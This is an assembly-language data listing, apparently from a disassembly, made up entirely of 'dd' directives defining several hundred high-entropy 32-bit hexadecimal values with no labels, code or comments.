dd 120BE3Ch, 0E78E746Bh, 64ECE5B5h, 0CA76326Bh, 4A59FBCEh
dd 54BBE6D4h, 0FDD31D35h, 412A7893h, 968D2E3Ch, 599F2AAAh
dd 5D5FAB03h, 542DA58Bh, 0F0DBCC97h, 65257AEh, 0C1BBE9E6h
dd 3149532Bh, 8DBCE261h, 0D737D486h, 0FAB2B3C4h, 11F966A0h
dd 5C93A1F0h, 1CBC75A2h, 0B409A646h, 7A540E2Bh, 6156057Fh
dd 0C5FB72FFh, 224429C0h, 53C9250Eh, 72B75448h, 8913F8DDh
dd 0AE7A405Dh, 4CC7CBB2h, 0FE512E6Eh, 844FF6CAh, 849D3BCFh
dd 0DA9F0088h, 951D8417h, 0A5F1A812h, 6DB6C065h, 3E02B0BDh
dd 0DAD53E21h, 88AD16F4h, 0DFC8B527h, 0D0500EB5h, 13B87A80h
dd 2C1E6596h, 0B9557F04h, 0FAC36B84h, 2E28BE41h, 6A5BCC54h
dd 866A17CBh, 0F8912C35h, 7F4F0C75h, 4F4FFE68h, 333E1247h
dd 0FC6DC6D9h, 0CBA9C9BFh, 0C9E6C383h, 3C1C2944h, 0CD139F39h
dd 0BED5AA98h, 8ECD7BF5h, 9C1A9BA3h, 0C191DD30h, 69851AA8h
dd 4638AD04h, 8998FD4Eh, 333AFD9Dh, 3DCBB426h, 1A3C756Ah
dd 5EE0100h, 9AA80274h, 0BBB5E70Bh, 82D48B9Bh, 25DD64F0h
dd 21217161h, 0F9EA780Fh, 0B53883ADh, 868F6A5Eh, 0B6409CC3h
dd 8EFD5A51h, 0FDE321Eh, 597AD5A3h, 28CAB159h, 96ECBA72h
dd 0B4BBC07Fh, 0A7878456h, 56A46853h, 0F1BA120Ch, 0FCFD1400h
dd 0A2CAEE1Eh, 0CF1FFE4h, 8344ADEh, 4F0AB476h, 0CFB6C07Bh
dd 0B4E02BAFh, 1DE35C39h, 93D27FB2h, 0FB85A141h, 4B8F7AA8h
dd 0CB5B6976h, 41477F0Ch, 9FD82946h, 13CC4C15h, 0BDB9D8Bh
dd 2278FBAh, 4E895E13h, 0D1EC38C3h, 0E07DF1B9h, 8C560388h
dd 0D9DE13A5h, 95AB56B1h, 1ECFACF1h, 2BB4811Ch, 896CCBAFh
dd 785D4036h, 84602361h, 9A35400h, 50EF9907h, 0DB7B48C0h
dd 0ECCC5821h, 24BD3AA3h, 494A2656h, 3E5BF45Ch, 6ADB33D2h
dd 0D8F3AB1Ch, 5074575h, 54EA00A8h, 237BC8Ah, 0EB310787h
dd 2E00EB05h, 0EDE428E0h, 4EEB5ED5h, 641DC8D6h, 0A50A8DB4h
dd 168A4AC6h, 6ADB9C75h, 0AC24710Bh, 36EA3DA9h, 3F8BC1C8h
dd 0D60DE34h, 5F3C886h, 0B740AF2Fh, 6677FF45h, 6C607402h
dd 5896CBFFh, 90A392E6h, 0A7E92FFEh, 18D0B2FAh, 620ECAA6h
dd 0E23CB60Dh, 6559CBBAh, 10BBB7EBh, 27C229C3h, 0ACF9860Dh
dd 8BC372FCh, 836DC3BAh, 4A0B49A0h, 0D5AAF293h, 0C1246963h
dd 84F5F8h, 9B01FC23h, 0C1244D8Fh, 9FF1FB29h, 0C2563F0Eh
dd 5183A900h, 9EA9FD2h, 3C0BAB85h, 47011621h, 207ADBAEh
dd 6BF02F3h, 1A4B1099h, 7CB5993Ah, 0B19FFFDFh, 3EB1DAD9h
dd 4D0C1157h, 2F592024h, 198C448Dh, 5801E8FFh, 0BEDDACCEh
dd 1AE028E4h, 0B819B233h, 606AA905h, 5599B7AAh, 71DA2051h
dd 5F7CEF7Dh, 0FCE5070Fh, 64A431F8h, 0EFDF8017h, 20FCDAE3h
dd 0A93B6820h, 26D0B8A4h, 0D69B5331h, 6E485779h, 748A373Dh
dd 0A5EFFF2Ch, 0E14EB812h, 0F35DC84Fh, 17D73E91h, 7D2CD42Eh
dd 1FDF9D32h, 0A3004CE9h, 2481475h, 8E90785Ah, 0FACB5395h
dd 0D8EE417h, 9084DC35h, 4EF04753h, 721239Ah, 7EE53167h
dd 1F998020h, 0A389B043h, 6F85AA92h, 62945912h, 0BC6D0591h
dd 4249FE78h, 4B87A843h, 1A55DD9Ch, 0A75F7F13h, 0C0C06C71h
dd 0C740C96Ah, 5EB60167h, 9F5E582Eh, 0EC9A6F3Dh, 0F1B40AD0h
dd 921E424Fh, 0B515F978h, 0A20F2A0Fh, 4566C548h, 26104828h
dd 86AE9B65h, 9E932655h, 1A4E3088h, 0D4C92ECFh, 0AA052CEFh
dd 0E55BCE63h, 0A053F703h, 0D03FAF5Dh, 81ABEE94h, 19285D60h
dd 8559FEh, 5CBD7490h, 0B728B6CFh, 566E394Ch, 95FC61BEh
dd 5734E47Eh, 13031F9h, 7671E20Ch, 0EC13DBDDh, 0A72CAF0Fh
dd 0B6FBFBA7h, 39A20F7Dh, 0CD7F728Ah, 0DC9EC322h, 233BB2C6h
dd 263DB01Fh, 50528F0Ah, 1E03BA6Fh, 387FC68Bh, 4F2BCA04h
dd 0F1A13148h, 0E66C6408h, 9672A497h, 8FB2AC0Ch, 5F7C6E9Bh
dd 0D5BAEE94h, 0C5995E82h, 0AB5BB010h, 2679F148h, 1BFE7EABh
dd 0C266345Ch, 0F1CA94A5h, 42E25590h, 26AD343Ch, 0DC17031Eh
dd 2FA0D0A6h, 9357A288h, 0BBFD9CB7h, 0EBBC45ECh, 0E1970D48h
dd 0FE8C12A0h, 563222ADh, 522D3F47h, 20E5BF78h, 2773B566h
dd 6CF33AC1h, 3C3E3505h, 64F0D57Bh, 2FF09C75h, 0E4BB7B4Ah
dd 97523CD6h, 7BBEC272h, 96429AA6h, 14F0BC0Bh, 350D4680h
dd 906A6863h, 2F26B06Ah, 0CF24C041h, 0C08D1D39h, 0C9FF7E61h
dd 0B6C1DC93h, 0C05F099h, 989FA35Ah, 31309A41h, 226DAC53h
dd 6DA0578Ah, 333772BDh, 67BF1AA5h, 13D6ECFEh, 90D88E95h
dd 5A00C9ABh, 0B31AB746h, 4CBA1E6h, 0EC070A4Bh, 0BE342D57h
dd 0E6E0332Eh, 0A508C604h
dd 5D3B7AC1h, 0A880C0E2h, 32CC32A8h, 452DB8Ah, 0B358415Ah
dd 688EA903h, 0C75CC624h, 0FE9F7A56h, 0CB6B2299h, 3C579AB5h
dd 4FA128CBh, 24A8C2C4h, 3C7A62B4h, 0F9D84450h, 65FFB78h
dd 0BBCE9C43h, 0ED49A01Dh, 816E552h, 33540D53h, 0E174429Fh
dd 4BF2C1EEh, 8685200Dh, 0E14EC2CEh, 0EF1A57A2h, 9E77CB12h
dd 1131C979h, 3A030D77h, 634B010Fh, 76E4E15Eh, 0B9464DECh
dd 0CA421FF5h, 0DBFF50B8h, 3FB27B63h, 3B0C9BB9h, 55C30D6Dh
dd 0E2F153B2h, 0CD18CCCBh, 0B2D5C8D5h, 1C5DA2ECh, 1502C1F8h
dd 88920F21h, 0EE6191B4h, 30183131h, 15E206EAh, 0A7B10E37h
dd 0CC073DFDh, 9C8EC0A3h, 9CC36F68h, 8C08CD3Eh, 36BB0E15h
dd 0A66B1820h, 412F47E0h, 2649AB6Dh, 1F40EE31h, 2E234211h
dd 13BF2E46h, 7CB99330h, 0B17D0C6Ch, 0F7E2A756h, 4FBF9CFDh
dd 1C76CF9Bh, 0AAAF10B0h, 925ADB3h, 0A8718CF9h, 3BDDE269h
dd 0CFB0F5B9h, 86408811h, 133849h, 0F8E03951h, 1279B362h
dd 147C9FA2h, 2F938B4Ch, 10209BA2h, 0F2E625Fh, 2CFC1AB2h
dd 0EBE8570Dh, 4BCDAFFDh, 2686AFADh, 379544Dh, 8795C07Eh
dd 6A056018h, 805BBF27h, 678E1136h, 0E6C305F7h, 522B0081h
dd 7A83137Ah, 0F759910Ch, 0CEF0620h, 5A686D9h, 8A8BB51h
dd 59D7265Ch, 4AB24D3Bh, 0C0D643B4h, 1697DD46h, 0F517E006h
dd 837C6222h, 5231597Fh, 0A3AA66BBh, 1CA92B0Fh, 695FC79Dh
dd 2E013E25h, 0BEF5660h, 80BA046Dh, 0A8F77B59h, 0A91BF35Ch
dd 0C14E7B2Ah, 6755B0CAh, 990B1E0Dh, 0E4F4E83Eh, 3BDC7200h
dd 0D2D75070h, 51A058F9h, 9A7CA6A9h, 1F1E9AA5h, 683EE990h
dd 0FA063799h, 0E7A4ECB9h, 82BED4CEh, 491C53C6h, 0E28EC4ABh
dd 3ED39C19h, 0DBDD76EBh, 0B9DFA874h, 0B786F953h, 56054AFCh
dd 5E921DF3h, 22E099DAh, 0BC693AF2h, 0EE533AF5h, 27DABBE5h
dd 0B91ACFD5h, 0D3F025EAh, 983D48F1h, 0EF4AD08Eh, 5D10D236h
dd 446EA5A6h, 22A48F5Bh, 67D95E7Dh, 87D71A05h, 63F26743h
dd 6E89D377h, 1BC1A0B4h, 268554D2h, 2480E30Eh, 0E3607F6Bh
dd 291647ACh, 94D3EB3Ch, 62521870h, 0A7025499h, 0AFDCEEA8h
dd 3ADAABA7h, 0A1637213h, 0F30CDC76h, 75F0DEF6h, 0F98BB609h
dd 91A0EB98h, 0EA03A290h, 1080C3D5h, 0A96CB93Ah, 1F2BA346h
dd 6E16BE61h, 0D45E0B32h, 336DA7B3h, 0E274C7C7h, 5B52C409h
dd 0F25B980Bh, 297A2E53h, 0FE76DB8Fh, 0DA65BEA9h, 0F2723657h
dd 0E46D9CB4h, 0DD93525Eh, 0E7AAFB6Ch, 7E3C5F4Bh, 0B3A0102Eh
dd 78C63B82h, 0A4322313h, 35E2DD2Ch, 2FFC1370h, 0D366F439h
dd 0EB250366h, 285B30D3h, 4D1636D8h, 9E47A181h, 0D275C10Ah
dd 25C93248h, 769036E9h, 3A792996h, 5913F9DFh, 82889286h
dd 0BC74D0F9h, 5890DB4Eh, 5546A6C4h, 349228CDh, 76958672h
dd 0AD4A7FD5h, 87F865CBh, 0B8590E60h, 0F8D45888h, 28E61F76h
dd 0CA767AC2h, 1B62C0F7h, 72EFDBF4h, 0DBF17279h, 0BB8DB3A2h
dd 6008E207h, 171E1h, 5A2D06EFh, 0D6182104h, 1F8FE182h
dd 9AA9EBB9h, 42DFFCC7h, 7F3A88B3h, 18920E15h, 0D2586EF4h
dd 0F9989D60h, 9B3A8727h, 0CC59C4h, 0B633D319h, 49F8A3D0h
dd 31C9E731h, 0EC7A3731h, 0A8070835h, 0D927ABDFh, 0D6586AD7h
dd 0B4B18DB9h, 0E7367C09h, 95FE32F0h, 5D090E3Dh, 82AD17FBh
dd 3D6D27FFh, 0AE4BE2A1h, 1B8EBEEEh, 62B9C916h, 0B510809Ah
dd 673E966Eh, 0C2A90C8Ah, 0C6EBAA39h, 9BD1F2Ch, 31DC24D6h
dd 0E8F47DADh, 0F58DE9E7h, 966BDF1Ah, 854FA63Ch, 0BD9706F9h
dd 0DB2586CFh, 0B4026043h, 1CB1739Ch, 0A485A643h, 1BE08A96h
dd 0A1F93C06h, 15A7D848h, 0E1C847ADh, 0EEA37D2Ch, 0A06B6D73h
dd 334C2D2Fh, 9E92BD51h, 0AAD71D80h, 51C902B5h, 0AE5A9DA4h
dd 0ABC97FD4h, 0AA44769Bh, 583EBD47h, 88665068h, 54ADFE3Ah
dd 6A307C1Fh, 0DB143BA9h, 5E011DC1h, 7B2ABB6h, 8CD599B4h
dd 0CC88380Bh, 8154352Bh, 940132DAh, 921EB130h, 0B719BAA5h
dd 2F795600h, 0EBFC1A42h, 0E36DF378h, 0CF715D5Eh, 4C571625h
dd 87933FD1h, 75F35FCFh, 95474B11h, 3BCE767h, 0A1F46459h
dd 0D934B1D0h, 0BF96FCB0h, 8798728Eh, 97A22506h, 495352B0h
dd 8A65A687h, 0EE6128F7h, 299B9307h, 0CC6EAD66h, 0DDECD511h
dd 7FBEF396h, 79E19E84h, 0AB902C8Ch, 5460044Dh, 634A0079h
dd 5227C4E1h, 10265B03h, 18851140h, 96951A29h, 561C255h
dd 0F4198691h, 0C3E41BC9h, 0EE69CDB0h, 53709C29h, 0D0B99CE3h
dd 726D8B01h, 0F8132EA9h, 0D95493FEh, 6EA2D24h, 6F277B12h
dd 147D0FAh, 191FE2D9h, 642B8CA3h, 3A4F61A6h, 7C107359h
dd 99F3889h, 68F1FD81h, 0C954E796h, 0D26505F8h, 6F9B460Fh
dd 0CB829CE5h, 80DC1604h, 30F1689Dh, 89F0BACEh, 6EF66D50h
dd 0A2EA805Eh, 0F2E659B9h, 0C247A65Bh, 9F7C92ECh, 91C534A8h
dd 562BD748h, 0FA081FAAh, 3F9D2107h, 0BCDC8673h, 0CA64F4FAh
dd 0A67919BBh, 0C4F5DC35h, 946AB150h, 0B31F10D0h, 0C5482953h
dd 0BDF18120h, 0E793D261h, 0ED578C4Fh, 5FB25585h, 17D14975h
dd 0A00680D2h, 57A4DC92h, 135237E1h, 947E09C5h, 21707417h
dd 6AEC6935h, 0DC5EC657h, 0FCD23430h, 0BBBCA8ADh, 0BE8C979Eh
dd 313C9F8h, 0E126402Bh, 7953A159h, 6ECE68F8h, 7EC94608h
dd 26C97628h, 374AD3BDh, 8AF341DAh, 0D28A55A5h, 2FBAB739h
dd 364B34D5h, 0E9D384D1h, 95631A3Dh, 0AD6C9329h, 993E5760h
dd 5B9BBAA1h, 8B789565h, 4F4E13EBh, 6A602E13h, 83B1129Ah
dd 3EA6E8FFh, 0CDE5E593h, 14724143h, 5D95A0A9h, 5DCA80FBh
dd 43A2C4C8h, 31E0A149h, 1C5344AFh, 8095CCAh, 9A09CAAEh
dd 67B5D617h, 268D3070h, 3FF7831Fh, 0B34CC6BEh, 0BCB3BA3Fh
dd 0AECF1677h, 5C119898h, 2B985DBh, 0D5D7A1D3h, 0A2E96D4Eh
dd 0B123B803h, 0D773D3D9h, 0FF8E0824h, 97714034h, 9A0114B8h
dd 0DD9F7645h, 38446CF0h, 0B1DF7E6Bh, 44492E3h, 0BFFCB32Bh
dd 0E54CC59Bh, 0D50579E9h, 0B85AB1A6h, 35231FDAh, 0C474DE1Ch
dd 2ACB832Fh, 0CB99E145h, 0D357249Eh, 9AA4B19Eh, 524E6D6Ch
dd 5FA2620Dh, 0CAB25850h, 0DE5BCAA7h, 0B819B21h, 5FDB7800h
dd 716513E9h, 69AD1C9Dh, 9753504Ch, 2E33EBA1h, 46CC9F00h
dd 60124CF7h, 6DB9EF28h, 72E3B267h, 180365D0h, 7C9BDA3Dh
dd 56790305h, 1256F8FAh, 9C88336Dh, 0A45F3362h, 0B94AEA6Bh
dd 82218A88h, 21ABD057h, 7D80D240h, 8F8699D4h, 0AC0A7F3Fh
dd 782BD203h, 3A8D8A10h, 82675B32h, 0A64B01F4h, 0B6496A95h
dd 35962189h, 0A04DA949h, 62A1573h, 354AE9B7h, 628B6E57h
dd 0A4698105h, 4364D4E6h, 9845569Bh, 0FEC7CDAFh, 0A4E85BDEh
dd 9845D3Ah, 813AB05Ah, 0F971CDB8h, 0A349DD03h, 30CA1F8Ch
dd 0B7FDB8A1h, 76EA1706h, 585857C6h, 313D952Fh, 444BE892h
dd 4067093h, 901D4C9Ch, 38E00715h, 0FFC17743h, 0B823414Bh
dd 69564651h, 1F992E98h, 0F9D5CBD0h, 5725D997h, 0FDF5AD4Eh
dd 29470A20h, 0DCBDA900h, 0C3B66C99h, 0B93D35h, 0EB428D03h
dd 320177B3h, 7CF0B5E1h, 1A3E7006h, 0C49EE429h, 3EA962BBh
dd 47E3C39Dh, 6DFED4D8h, 0C3E33A4Dh, 404B39FAh, 47BC79BFh
dd 777649E0h, 0C2F40606h, 81B8B8CFh, 31485FC2h, 1B0256C3h
dd 76A84DA6h, 0AD630409h, 0D5AE892Ah, 0E4394FB4h, 0D992358Eh
dd 0E9529DFAh, 57E208B5h, 865CC186h, 54BFE62Bh, 2D018E81h
dd 0F50D2A86h, 0CC8EA2EBh
dd 455D88A7h, 6C47ADAAh, 503CB74h, 11D66A87h, 0B707FD14h
dd 0B1B1BF03h, 0F4514AC3h, 0DBB1CCBh, 90BACCD3h, 3745A80Ah
dd 88D778C0h, 0E6411482h, 841CE565h, 0C8F2A154h, 7ED6D152h
dd 0F454A9FDh, 32BB0904h, 8B75E697h, 76B0E056h, 5221DE68h
dd 0F31B17DEh, 0F80F6F69h, 0E42FE215h, 0FE72C702h, 0F7AA031Fh
dd 22FA0512h, 27EF7D2Fh, 0E2B29721h, 3E3B8995h, 931CB13Fh
dd 1CF96E17h, 43B34AF2h, 16881B60h, 0FFC2F3B5h, 90DF0895h
dd 8844D599h, 0FA6EE158h, 83FB224Dh, 6008C7ABh, 8B0446h
dd 0CA2394D0h, 2A06869h, 0F17741FBh, 0BAD72A87h, 8003BD63h
dd 55091A4Ah, 0F15EAA88h, 1BDFB9CDh, 49FADBA6h, 63BF27F5h
dd 0E5F6C6A6h, 4C171719h, 526C660Fh, 224C1435h, 0B27275EDh
dd 8080B256h, 56E91F10h, 0A28E3FE4h, 0E3995538h, 26A31F21h
dd 0B71026F5h, 2D5CB200h, 0AE8581A3h, 58F7ED99h, 54FF5190h
dd 5F6F856Eh, 0E78C0CECh, 0C99B13FEh, 0BA08521Ch, 2A858118h
dd 4A5A0B94h, 5A682D36h, 3262C532h, 0FA89FF4Ah, 22815F4h
dd 1A2F08F1h, 39A8495Ah, 50E6D0Bh, 1B750710h, 0AB2E1ED6h
dd 1669AF70h, 53E20C95h, 89053853h, 0A4901022h, 7168E843h
dd 548F2F29h, 0A97E30A2h, 0AE2310C2h, 0DBFA2BF6h, 4B73A239h
dd 27C15BDDh, 5831333Ah, 15AD2255h, 0B92DA9DAh, 22B4252Eh
dd 2FEBC7h, 0FB277682h, 46CDC2FDh, 5B1C6034h, 78F43463h
dd 0EC680EFAh, 0E0463CD8h, 96C352C5h, 66A49098h, 640FB7C7h
dd 48828D41h, 0A3460963h, 1334FB54h, 0B899490h, 0F3733CC4h
dd 9F55D4E0h, 0E02D1A87h, 0F9B1C53Ah, 489B54C9h, 0BFFE336h
dd 8CA51663h, 2303B4CBh, 94558F4Fh, 936114E8h, 88132C38h
dd 82A50A69h, 0C229D7EFh, 3B2A3A85h, 0F5E6BC89h, 0EA8796EDh
dd 0C24E9E44h, 0C664D193h, 4130AD12h, 0D064B173h, 9E96233Ah
dd 0BCBDDA48h, 0C1F6399Ch, 561572B8h, 84CD78C9h, 45E4B743h
dd 0D7A50321h, 371DD23Ch, 0AC70FD1Fh, 2F813F30h, 556DBB6Ah
dd 0D57BC91Ah, 6DDB2809h, 83395EE2h, 0D4DA1683h, 1B5B3305h
dd 4259695Ch, 990A129Bh, 95DBB25Ah, 9C1B9217h, 0D51C90A8h
dd 4970300Dh, 6E47FF4Dh, 39ADBD5Eh, 44BF29B4h, 387D38A1h
dd 0C08019E0h, 0D55E9C7Ah, 724004EEh, 13246829h, 4FAB1962h
dd 8F6BC50Dh, 0F7A7AB35h, 0A1FA5E2Eh, 14DF6A1Bh, 0AD475FFDh
dd 0E7FACFCCh, 95342410h, 0F138741h, 1099A7C4h, 0B38252F0h
dd 0A17E8674h, 0E50FC5EBh, 2BF65205h, 2C675798h, 251C038Eh
dd 9CC6A7A0h, 7DB47B56h, 0FD003078h, 0E86F4C05h, 0DC70713Ch
dd 2E30B57h, 0B4A07D6Bh, 64283775h, 0F075949Ah, 4F9DCE50h
dd 80DBF549h, 2130648Bh, 77FAF215h, 4DBF2728h, 24607345h
dd 0F87366Ch, 4EB1B60Ah, 0E9336B23h, 0B6CBE454h, 0A4D9234Bh
dd 698055EEh, 42128C8Bh, 0DC6EF47Dh, 933230A5h, 21FD2298h
dd 0FFAF66B3h, 0B3C4016Ah, 2A21C069h, 0D84C60A3h, 0DE81AD13h
dd 3287A200h, 5A336812h, 0C90AE761h, 5FB73BADh, 55D72778h
dd 0B16586A2h, 0E8110C2Fh, 94FB227Ah, 0D084D073h, 9053CACEh
dd 0C9689D24h, 1AD42251h, 0AB1EB8D3h, 0BA61EFh, 403917B9h
dd 414937E2h, 4CB9110Fh, 17D68FDBh, 83E94DC8h, 615E7D45h
dd 0C029041Dh, 0E9B2C78Fh, 5E79041Dh, 5838D9C7h, 0BC3AA45Fh
dd 44BD9B0Fh, 0CEF3BF8Fh, 1D3A8F2Bh, 2656C651h, 0F568D120h
dd 0BD8C1DF8h, 0C0DEFA12h, 14995563h, 7C0A4B5Ch, 0B86B3491h
dd 0B2F1D8F5h, 0F30F4C33h, 0D49DA4C5h, 225E5719h, 602CBF53h
dd 6D244A43h, 0E94E0366h, 0BAAB0F34h, 27D64A87h, 0F4738840h
dd 0C902054Dh, 2BACDE4Bh, 590C6637h, 4FAC71B7h, 53FF963Eh
dd 0C871D49Eh, 1ECB2217h, 0D6D3FD1h, 1DF40D8Eh, 7EA79B5Fh
dd 24DACDA2h, 4D0460Bh, 106ACE32h, 0E6C8DDD7h, 908F9450h
dd 0BD43C7F3h, 0AF9F2E7h, 9680B979h, 0FED40EA2h, 75D4121Fh
dd 0CABB8B04h, 49C997A4h, 82437C9Eh, 1E533163h, 80D8F43Eh
dd 0CDD21053h, 40637467h, 6198A46h, 0F90D5A51h, 8A50C4A3h
dd 0D953B917h, 0AD79E812h, 0F98F78EFh, 0A572509Ch, 0D3E21DFCh
dd 0AA1C6C2Ch, 3B6C8EDEh, 5C15C33Dh, 51E016EEh, 6F9ED0DEh
dd 0C6A6EB3Eh, 4413AC72h, 0B6A3D981h, 0AD3DEF12h, 64696C78h
dd 2788507Dh, 729C7278h, 6D040D5Ch, 0A27248EEh, 81E50B5Ah
dd 73AF46C2h, 3E804BF0h, 40A0D533h, 0ECD5B015h, 2E75AC16h
dd 33AE3C84h, 0BBCFCA6Bh, 0D8B2AC94h, 30A77E2Fh, 90E1832Ah
dd 7D5E5DE2h, 0CE030B0Ah, 0AB6E8E3Ch, 4B4675AEh, 0FC1C6243h
dd 0A23CB163h, 0EE0B30E1h, 0B39579Eh, 0C8B70B12h, 0DAAC6C75h
dd 0DEAADD9Bh, 601A71F8h, 0B8BB3828h, 0E961E51Dh, 0D693D20Ch
dd 0AE7EF3AEh, 0EB3D3B6Eh, 5ACA126Ah, 5D4D5D2h, 65265ADDh
dd 4A9EA478h, 20CC55E0h, 0F75B5EFEh, 0FC865F49h, 0D8ACD4AFh
dd 0CEEE2C6Ah, 8572DBAh, 6731554Fh, 77BE205Bh, 5AE9ABF0h
dd 0CACA62FFh, 47F1E2E2h, 54DF9567h, 7903DDA7h, 15745797h
dd 8FB3BEA6h, 0DDB37D8Fh, 5D0ECB06h, 0E8D7F5A7h, 0B1D5CF2Bh
dd 0E9249893h, 334B2FE8h, 2567082Bh, 56B1856Ah, 6EF5BE3Fh
dd 1C373242h, 0C203FAF7h, 58381215h, 0D29CFD79h, 5DBD72FBh
dd 67E06A1Ah, 0A230F264h, 2268A480h, 0F46C1DAFh, 0EEB96B87h
dd 0A7DAD3F9h, 0DC96F79Ch, 0A053FF23h, 326A35E8h, 5B07044Eh
dd 9B20759Eh, 0DBD999BAh, 4C5C5F0Eh, 850E0B11h, 0B279664Dh
dd 71523B4Ch, 61F50B3h, 1C584607h, 73C6ABE7h, 0E9607D95h
dd 0CBF912C7h, 0C4AD2F6Ch, 0A653EBC5h, 0A2AEE439h, 0B9B65C37h
dd 535E505Fh, 5B754A2Eh, 894684CFh, 0A00B88E4h, 5A3C6FDh
dd 149A9B4Fh, 16BF8B1Ch, 5797FD08h, 8CBAC11Ch, 0A38A2D49h
dd 7F4B23A4h, 29E1241Ah, 24FAB7B8h, 0CD8FE999h, 6EBC7D7Fh
dd 0E0439B4Dh, 0ED80EF00h, 0EA9271E0h, 2CD23112h, 60027129h
dd 0DC6A847h, 0E6787287h, 0F5A95011h, 0EC6D3808h, 0C429C04h
dd 883E8D39h, 8F4D4138h, 0E663C62Ah, 0E3C535AFh, 5936738Eh
dd 0F3D0E47Ch, 0C1D1BE28h, 0AFD0136Fh, 728EFDFDh, 69A9D3BAh
dd 0F75F5A20h, 0BEF267C8h, 0ED920D08h, 0DC363C2Dh, 0EC00E37Bh
dd 2F167C3h, 0BDBE4FE4h, 0E914FABh, 56F844C7h, 0C8CFA244h
dd 8D2232CFh, 0CCF204Ch, 9C379D7h, 0F0FB7FD4h, 0AD4D697Ch
dd 7F48F156h, 3E31402Ah, 63749B98h, 41776640h, 400BCF38h
dd 0AB17395Fh, 0D4C1A811h, 997672C7h, 0EFE7A8ABh, 37A4EE58h
dd 0EA846ACDh, 0B1FD94E8h, 2C0CC4E1h, 1A524562h, 9EBE6C0Ch
dd 13DAFC45h, 0F55C70D7h, 8B66B7ABh, 3E4510B6h, 0FDE48DA3h
dd 0C90B25A7h, 978C99Dh, 24D0D44Dh, 50458B73h, 0A5073B6Eh
dd 0EB2309D4h, 0AB912890h, 0A09569A6h, 69624D5Ch, 4B0CA37Bh
dd 0F755680Bh, 0EDB5EC5Ah, 43D02533h, 0BCBCE47Ah, 0B21719ABh
dd 0A0216C87h, 42A38511h, 24557119h, 5CFD1FBEh, 255CC535h
dd 698570FFh, 1BC05BDAh, 7F4826CBh, 6868C8E7h, 0E9280BC4h
dd 0C4D2E0C4h, 5E438CDCh, 2CE74FD1h, 70F60250h, 0D544F112h
dd 1582EB60h, 0A25B21BBh, 3C51C4E3h, 0FD8349D6h, 31AC458Bh
dd 7CF62431h, 455281B2h, 70DAEBCEh, 7C20BBF6h, 4EB0B4BFh
dd 0A3BDBD11h, 9535199Bh, 0CEFEA2FAh, 58F5D09Ah, 0A46932E9h
dd 8FD744C4h, 5F2DF5A2h, 83D53265h, 0F240371Eh, 36585B25h
dd 0ACB1AB2Fh, 9799784Ch, 0F8701034h, 5B82BC91h, 3331D361h
dd 6CE5380h, 3498AEAAh
dd 48008FF4h, 67D74DFCh, 0B6F6E798h, 88A902DAh, 0D62E237Ch
dd 0FAE31A82h, 92B18B72h, 0B6BCBDA8h, 0A48D851Dh, 54F24525h
dd 0EEDA10E9h, 93F93FDBh, 62A154A0h, 0A6011958h, 0E79F0B47h
dd 3F1489A2h, 0D43A9388h, 47CAF4D0h, 0EBB4446Ah, 438F41E7h
dd 0CB6B710Dh, 0F15B6FB4h, 7FBCFA90h, 12EC5D7Dh, 0FB26055Fh
dd 346CFC1Ah, 332D7639h, 95015061h, 458A65A9h, 7C4505D1h
dd 0AB4ECE25h, 350ADEC5h, 7F0A001Dh, 48CA8A57h, 0AF2B75AEh
dd 2C38694h, 5F6BCCh, 0A86D6DC8h, 0ACFB738Ch, 0BB63B4B4h
dd 0FAFBC560h, 67B182F2h, 0F11EB859h, 71985D8h, 374F9E34h
dd 8B4E3D17h, 0D4BAC3C8h, 56F27A40h, 8ECC369Dh, 0D230919Bh
dd 0FD3BD578h, 4715A026h, 2E4CB5C7h, 103254AFh, 922DA665h
dd 2660CCDCh, 0EC585B10h, 0C9C18C32h, 0F45EA932h, 6D702E40h
dd 0D01B7A52h, 4E356D6Fh, 36471EE5h, 590E07BEh, 6F392E84h
dd 0E46D1C2Fh, 489540EBh, 7BF27A4h, 8E6AF0F6h, 0B48958FBh
dd 0D6A0C93Fh, 9F24B5ACh, 18CA1BADh, 387C53A2h, 68ED0C1Ah
dd 582A24D5h, 9017CD76h, 9B8B149Eh, 0B2BCA402h, 0C5E0F6D3h
dd 9CC7548Bh, 51346050h, 893F3E80h, 0DCA8E888h, 6B6E73BDh
dd 24F8098Ch, 4CB127E9h, 6BA5231Ch, 814FFBAAh, 0CC44A13Eh
dd 2EE09DE4h, 507493A1h, 126B8AA4h, 150B0340h, 0F5AC02CDh
dd 0A9285535h, 0AF3B68CAh, 2BEEC974h, 0F2F2D487h, 57D6C1B5h
dd 81144495h, 2AF3FF30h, 667FEF9Fh, 3CA63199h, 2D083C70h
dd 0BF49FA9Dh, 0A5909B1h, 333BDFC6h, 6FD2BFC8h, 3FA8463Bh
dd 13A15EAFh, 0E1104767h, 5C941FA5h, 42D06299h, 8F1D9BFCh
dd 2090BD63h, 2825D6F6h, 1F673E7Bh, 2F02B189h, 41871CBEh
dd 0B4F95B03h, 417EAEABh, 0F1F6B3ECh, 84454763h, 0B6FD88FBh
dd 34E16F80h, 92CB6C34h, 0F2947A31h, 0DB9172DDh, 418E014Ch
dd 8964244Ah, 888B3250h, 0DB833403h, 0D1CE0B4h, 2AF99CD6h
dd 0E797F0CDh, 192772F9h, 0B62CF556h, 425FADh, 6E4DD446h
dd 0F84E7CF9h, 1B5D7301h, 5C95B984h, 0A78A0F3Ch, 7AFA301Fh
dd 629776Eh, 0DBE676E7h, 0A67CDA00h, 5D382128h, 95EF9CA7h
dd 73E8D905h, 389DE051h, 5983D2F5h, 33FC84DDh, 0AEC4DF58h
dd 7BA588B0h, 9267D01Bh, 5914D7CEh, 0CE5A654Eh, 314BD926h
dd 37E2C5B7h, 0E2375A51h, 3C76F683h, 6D78CE14h, 859CA7F6h
dd 5020A73Eh, 3AC65E7Ah, 0F55FFE4Eh, 596EAE39h, 8A636671h
dd 149B0C6Ah, 881C75E9h, 0DCBB2CAEh, 0A80FE105h, 0FFBDA99Bh
dd 547CA920h, 165B21B4h, 9814C61h, 198692A4h, 0E5595443h
dd 0C2DD800Ah, 0E5AA08F0h, 7A6A3487h, 0DFCC603h, 0D72397BFh
dd 2A5956BFh, 5EC30CFBh, 0CD9134AAh, 3AAF3F78h, 35A4A5A5h
dd 0EE94E711h, 0A5C82933h, 8EA6F9D6h, 8B87B376h, 0C193EE46h
dd 0B2082A79h, 87931AE5h, 0FDFFFF33h, 60FE6496h, 0D989D247h
dd 0AB885823h, 9A92B4DCh, 0FFC74656h, 83B024C0h, 18683997h
dd 8E44CCA3h, 609A9CFBh, 0F6A04623h, 9814A525h, 1CBA3206h
dd 0E302C6C0h, 83963FA7h, 99673E53h, 9CB18D88h, 9593F0BEh
